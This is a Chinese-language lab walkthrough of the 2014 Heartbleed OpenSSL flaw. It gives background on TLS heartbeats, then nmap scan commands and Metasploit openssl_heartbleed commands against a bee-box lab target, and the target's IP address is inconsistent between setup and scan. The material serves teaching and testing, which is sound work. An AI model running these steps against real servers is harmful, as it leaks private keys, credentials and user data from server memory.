心臟滴血漏洞簡述
2014年4月7日,OpenSSL發布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,該漏洞中文名稱為心臟滴血,英文名稱為HeartBleed。其中Heart是指該漏洞位於心跳協議上,Bleed是因為該漏洞會造成數據泄露。即HeartBleed是在心跳協議上的一個數據泄露漏洞,OpenSSL庫中用到了該心跳協議。HeartBleed主要存在與OpenSSL的1.0.1版本到1.0.1f版本。
利用該漏洞,攻擊者可以遠程讀取服務器內存中64K的數據,獲取內存中的敏感信息。
漏洞范圍
OpenSSL 1.0.1版本
ssl、tls、dtls介紹
在網絡當中中,TCP/IP協議層之上的安全可以由Secure Socket Layer(SSL)及其替代協議Transport Layer Security (TLS)進行保障。這兩個協議經常被稱作SSL/TLS。HTTP是一個無狀態的應用層協議,主要用來在服務器和客戶端之間傳輸數據。HTTPS主要通過在HTTP層和TCP層之間增加了SSL/TLS層來保證服務器與客戶端之間安全的傳輸數據。
DTLS(Datagram Transport Layer Security)即數據包傳輸層安全性協議,主要是試圖在TLS協議架構上提出擴展,使之支持UDP。
TLS/DTLS中的心跳協議主要使用來檢測兩個設備之間是否還有連接的,根據RFC規定,心跳協議運行在TLS記錄層之上,主要是通過交換“心跳”的方式,用來維持端與端之間的連接。
環境 搭建 kali—》192.168.115.28
Bee-box—》192.168.115.21
- 啟動靶機

- 確定目標及端口信息。這里存在漏洞的靶機端口為8443

- 使用nmap 指定腳本掃描
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.115.27
由下圖檢測結果可以看出存在心臟滴血漏洞

- github上也有一個項目,是專門檢測心臟滴血漏洞的。
https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py
- 使用msf進行漏洞利用
打開msfconsole后,查找heartbleed模塊:
Search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.115.27
set RPORT 8443
set verbose true #(設置verbose,這個設置要設置成true才能看到泄露的信息)
exploit


